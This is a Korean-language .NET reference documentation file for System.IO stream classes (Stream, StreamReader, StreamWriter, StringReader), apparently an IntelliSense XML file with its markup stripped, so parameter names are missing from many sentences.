바이트 시퀀스에 대한 일반 뷰를 제공합니다.이 클래스는 추상 클래스입니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 파생 클래스에서 재정의되면 현재 스트림이 읽기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 읽기를 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 파생 클래스에서 재정의되면 현재 스트림이 검색을 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 검색을 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 현재 스트림이 시간 초과될 수 있는지를 결정하는 값을 가져옵니다. + 현재 스트림이 시간 초과될 수 있는지를 결정하는 값입니다. + 2 + + + 파생 클래스에서 재정의되면 현재 스트림이 쓰기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 쓰기를 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 현재 스트림에서 바이트를 읽어서 다른 스트림에 해당 바이트를 씁니다. + 현재 스트림의 내용을 복사할 스트림입니다. + + 가 null인 경우 + 현재 스트림이 읽기를 지원하지 않는 경우또는이 쓰기를 지원하지 않는 경우 + + 메서드가 호출되기 전에 현재 스트림 또는 이 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 바이트를 읽어서 지정된 버퍼 크기로 다른 스트림에 씁니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이 읽기를 지원하지 않는 경우또는이 쓰기를 지원하지 않는 경우 + + 메서드가 호출되기 전에 현재 스트림 또는 이 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 모든 바이트를 비동기적으로 읽어 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + + 가 null인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + 현재 스트림에서 바이트를 비동기적으로 읽어 지정된 버퍼 크기로 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + 현재 스트림에서 바이트를 비동기적으로 읽어 지정된 버퍼 크기 및 취소 토큰을 사용하여 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + + 에서 사용하는 모든 리소스를 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 파생 클래스에서 재정의되면 이 스트림에 대해 모든 버퍼를 지우고 버퍼링된 데이터가 내부 장치에 쓰여지도록 합니다. + I/O 오류가 발생하는 경우 + 2 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 버퍼링된 모든 데이터가 내부 장치에 비동기적으로 쓰여지도록 합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 스트림이 삭제된 경우 + + + 이 스트림에 대해 모든 버퍼를 비동기적으로 지우고 버퍼링된 데이터가 내부 장치에 쓰여지도록 하고 취소 요청을 모니터링합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + 스트림이 삭제된 경우 + + + 파생 클래스에서 재정의되면 스트림 바이트의 길이를 가져옵니다. + 스트림 길이(바이트)를 나타내는 long 값입니다. + Stream에서 파생된 클래스가 검색을 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 백업 저장소가 없는 Stream입니다. + 1 + + + 파생 클래스에서 재정의되면 현재 스트림 내의 위치를 가져오거나 설정합니다. + 스트림 내의 현재 위치입니다. + I/O 오류가 발생하는 경우 + 스트림이 검색을 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 파생 클래스에서 재정의되면 현재 스트림에서 바이트의 시퀀스를 읽고, 읽은 바이트 수만큼 스트림 내에서 앞으로 이동합니다. + 버퍼로 읽어온 총 바이트 수입니다.이 바이트 수는 현재 바이트가 충분하지 않은 경우 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 바이트 배열입니다.이 메서드가 반환될 때 버퍼에는 지정된 바이트 배열의 값이 및 ( + - 1) 사이에서 현재 원본으로부터 읽어온 바이트로 교체된 상태로 포함됩니다. + 현재 스트림에서 읽은 데이터를 저장하기 시작하는 의 바이트 오프셋(0부터 시작)입니다. + 현재 스트림에서 읽을 최대 바이트 수입니다. + + 와 의 합계가 버퍼 길이보다 큰 경우 + + 가 null인 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 현재 스트림에서 바이트 시퀀스를 읽고 읽은 바이트 수만큼 스트림에서 위치를 비동기적으로 앞으로 이동합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 스트림에서 바이트의 시퀀스를 비동기적으로 읽고 읽은 바이트 수만큼 스트림 내에서 앞으로 이동하며 취소 요청을 모니터링합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 스트림에서 바이트를 읽고 스트림 내 위치를 한 바이트씩 앞으로 이동하거나 스트림 끝일 경우 -1을 반환합니다. + Int32로 캐스팅된 부호 없는 바이트이거나 스트림의 끝에 있는 경우 -1입니다. + 스트림이 읽기를 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 스트림이 시간 초과 전 읽기를 시도할 기간을 결정하는 값(밀리초)을 가져오거나 설정합니다. + 스트림 읽기 시도가 만료되기 전까지 기다릴 시간을 결정하는 값(밀리초 단위)입니다. + + 메서드는 항상 을 throw합니다. + 2 + + + 파생 클래스를 재정의될 때 현재 스트림 내의 위치를 설정합니다. + 현재 스트림 내의 새 위치입니다. + + 매개 변수에 상대적인 바이트 오프셋입니다. + 새 위치를 가져오는 데 사용되는 참조 위치를 나타내는 형식의 값입니다. + I/O 오류가 발생하는 경우 + 예를 들어, 스트림이 파이프 또는 콘솔 출력에서 생성되는 경우 스트림은 검색을 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 파생 클래스에 재정의될 때 현재 스트림의 길이를 설정합니다. + 원하는 현재 스트림의 길이(바이트)입니다. + I/O 오류가 발생하는 경우 + 예를 들어, 스트림이 파이프 또는 콘솔 출력에서 생성되는 경우처럼 스트림이 쓰기와 검색을 모두 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 파생 클래스를 재정의될 때 현재 스트림에 바이트의 시퀀스를 쓰고 쓰여진 바이트 수만큼 이 스트림 내에서 앞으로 이동합니다. + 바이트 배열입니다.이 메서드는 의 바이트를 현재 스트림으로 복사합니다. + 현재 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 현재 스트림에 쓸 바이트 수입니다. + 총  및  버퍼 길이 보다 큽니다. + + null입니다. + + 또는  음수입니다. + 지정된 된 파일을 찾을 수 없는 같은 I/O 오류가 발생 합니다. + 스트림이 쓰기를 지원하지 않습니다. + + 스트림이 닫힌 후 호출 되었습니다. + 1 + + + 현재 스트림에 바이트 시퀀스를 비동기적으로 쓰고 쓴 바이트 수만큼 이 스트림에서 현재 위치를 앞으로 이동합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 바이트의 시퀀스를 현재 스트림에 비동기적으로 쓰고 쓰여진 바이트 수만큼 이 스트림 내의 현재 위치를 앞으로 이동한 후 취소 요청을 모니터링합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 스트림의 현재 위치에 바이트를 쓰고 스트림 내 위치를 1바이트씩 앞으로 이동합니다. + 스트림에 쓸 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 스트림이 시간 초과 전 쓰기를 시도할 기간을 결정하는 값(밀리초)을 가져오거나 설정합니다. + 스트림 쓰기 시도가 만료되기 전까지 기다릴 시간을 결정하는 값(밀리초 단위)입니다. + + 메서드는 항상 을 throw합니다. + 2 + + + 특정 인코딩의 바이트 스트림에서 문자를 읽는 를 구현합니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 1 + + + 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + + 이 읽기를 지원하지 않는 경우 + + 가 null인 경우 + + + 지정한 바이트 순서 표시 검색 옵션을 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + + 이 읽기를 지원하지 않는 경우 + + 가 null인 경우 + + + 지정된 문자 인코딩을 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + + 이 읽기를 지원하지 않는 경우 + + 또는 가 null인 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션을 사용하여 특정 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + + 이 읽기를 지원하지 않는 경우 + + 또는 가 null인 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션, 버퍼 크기를 사용하여 특정 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + 최소 버퍼 크기입니다. + 스트림이 읽기를 지원하지 않습니다. + + 또는 가 null인 경우 + + 가 0보다 작거나 같은 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션, 버퍼 크기를 기반으로 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾으려면 true이고, 찾지 않으려면 false입니다. + 최소 버퍼 크기입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 닫으려면 false입니다. + + + 내부 스트림을 반환합니다. + 내부 스트림입니다. + 2 + + + 현재 개체에서 사용 중인 현재 문자 인코딩을 가져옵니다. + 현재 판독기에서 사용하는 문자 인코딩입니다. 메서드를 처음으로 호출할 때 인코딩이 자동으로 검색되므로 의 메서드를 처음으로 호출하면 값이 달라질 수 있습니다. + 2 + + + 내부 버퍼를 지웁니다. + 2 + + + 내부 스트림을 닫고 에서 사용하는 관리되지 않는 리소스를 해제하고 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 현재 스트림 위치가 스트림의 끝에 있는지를 나타내는 값을 가져옵니다. + 현재 스트림 위치가 스트림의 끝에 있으면 true이고, 없으면 false입니다. + 내부 스트림이 삭제된 경우 + 1 + + + 빈 스트림 주위의 개체입니다. + 1 + + + 사용할 수 있는 다음 문자를 반환하지만 사용하지는 않습니다. + 읽을 다음 문자를 나타내는 정수이거나, 읽을 문자가 없거나 스트림에서 검색을 지원하지 않을 경우 -1입니다. + I/O 오류가 발생하는 경우 + 1 + + + 입력 스트림에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + + 개체로 표시되는 입력 스트림의 다음 문자이거나, 사용할 수 있는 문자가 더 이상 없는 경우에는 -1입니다. + I/O 오류가 발생하는 경우 + 1 + + + 현재 스트림에서 지정된 최대 문자를 지정된 인덱스부터 버퍼로 읽어 들입니다. + 읽은 문자 수를 반환하거나 스트림의 끝에 있고 읽은 데이터가 없으면 0을 반환합니다.이 수는 스트림 내에서 데이터를 사용할 수 있는지 여부에 따라 매개 변수보다 작거나 같습니다. + 이 메서드는 지정된 문자 배열의 값이 및 () 사이에서 현재 원본으로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 인덱스입니다. + 읽을 최대 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫히는 등의 I/O 오류가 발생한 경우 + 1 + + + 현재 스트림에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 스트림의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 스트림에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 모든 입력 문자를 읽었는지 여부에 따라 보다 작거나 같습니다. + 이 메서드는 지정된 문자 배열의 값이 및 () 사이에서 현재 원본으로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 스트림의 끝에 도달하면 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 스트림에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 입력 스트림의 다음 줄을 반환하거나 입력 스트림의 끝에 도달한 경우 null을 반환합니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 스트림에서 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 스트림의 다음 줄을 포함하거나 모든 문자를 읽은 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치부터 스트림 끝까지의 모든 문자를 읽습니다. + 현재 위치부터 끝까지의 나머지 스트림은 문자열입니다.현재 위치가 스트림 끝에 있으면 빈 문자열("")을 반환합니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 위치부터 스트림 끝까지의 모든 문자를 비동기적으로 읽어서 이를 하나의 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 스트림 끝까지 있는 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + + 를 구현하여 특정 인코딩의 스트림에 문자를 씁니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 참조 원본. + 1 + + + UTF-8 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + + 에 쓸 수 없는 경우 + + 가 null인 경우 + + + 지정된 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + + 또는 가 null인 경우 + + 에 쓸 수 없는 경우 + + + 지정된 인코딩과 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + 버퍼 크기(바이트)입니다. + + 또는 가 null인 경우 + + 가 음수인 경우 + + 에 쓸 수 없는 경우 + + + 지정된 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화하며, 선택적으로 스트림을 연 상태로 둘 수 있습니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + 버퍼 크기(바이트)입니다. + true to leave the stream open after the object is disposed; otherwise, false. + + 또는 가 null인 경우 + + 가 음수인 경우 + + 에 쓸 수 없는 경우 + + + + 가 를 호출할 때마다 해당 버퍼를 내부 스트림에 플러시할지 여부를 나타내는 값을 가져오거나 설정합니다. + + 가 해당 버퍼를 플러시하게 하려면 true이고, 그렇지 않으면 false입니다. + 1 + + + 백업 저장소의 인터페이스 역할을 하는 내부 스트림을 가져옵니다. + 이 StreamWriter가 쓰고 있는 스트림입니다. + 2 + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + 현재 인코딩으로 유니코드 서로게이트 쌍의 한 쪽을 표시할 수 없는 경우 + + + 출력이 쓰여질 을 가져옵니다. + 현재 인스턴스에 대해 생성자에 지정된 이거나, 인코딩이 지정되지 않은 경우 입니다. + 2 + + + 현재 writer의 모든 버퍼를 지우면 버퍼링된 모든 데이터가 내부 스트림에 쓰여집니다. + 현재 writer가 닫힌 경우 + I/O 오류가 발생한 경우 + 현재 인코딩으로 유니코드 서로게이트 쌍의 한 쪽을 표시할 수 없는 경우 + 1 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 버퍼링된 모든 데이터가 내부 장치에 비동기적으로 쓰여지도록 합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 스트림이 삭제된 경우 + + + StreamWriter에 쓸 수는 있지만 읽을 수는 없는 백업 저장소를 제공하지 않습니다. + 1 + + + 스트림에 문자를 씁니다. + 스트림에 쓸 문자입니다. + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자 배열을 씁니다. + 쓸 데이터를 포함하는 문자 배열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자의 하위 배열을 씁니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자열을 씁니다. + 스트림에 쓸 문자열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자의 하위 배열을 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 데이터 읽기를 시작할 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열을 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 줄 종결자를 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 쓰여집니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열에서 읽어오는 를 구현합니다. + 2 + + + 지정된 문자열에서 읽어오는 클래스의 새 인스턴스를 초기화합니다. + + 가 초기화되어야 하는 문자열입니다. + + 매개 변수가 null인 경우 + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 사용할 수 있는 다음 문자를 반환하지만 사용하지는 않습니다. + 읽을 다음 문자를 나타내는 정수이거나, 사용할 수 있는 문자가 더 이상 없거나 스트림에서 검색을 지원하지 않을 경우 -1입니다. + 현재 판독기가 닫힌 경우 + 2 + + + 입력 문자열에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + 내부 문자열의 다음 문자를 반환하거나, 사용할 수 있는 문자가 더 이상 없으면 -1을 반환합니다. + 현재 판독기가 닫힌 경우 + 2 + + + 입력 문자열에서 문자 블록을 읽은 다음 문자 위치를 씩 앞으로 이동합니다. + 버퍼로 읽어온 총 문자 수입니다.이 문자 수는 현재 문자가 충분하지 않은 경우 요청된 문자 수보다 작을 수 있으며 내부 문자열의 끝에 도달하면 0이 됩니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 버퍼의 시작 인덱스입니다. + 읽을 문자 수입니다. + + 가 null입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + 현재 판독기가 닫힌 경우 + 2 + + + 현재 문자열에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 문자열의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 문자열의 끝에 도달하면 메서드가 반환됩니다. + + 가 null입니다. + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 문자열에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 문자열의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 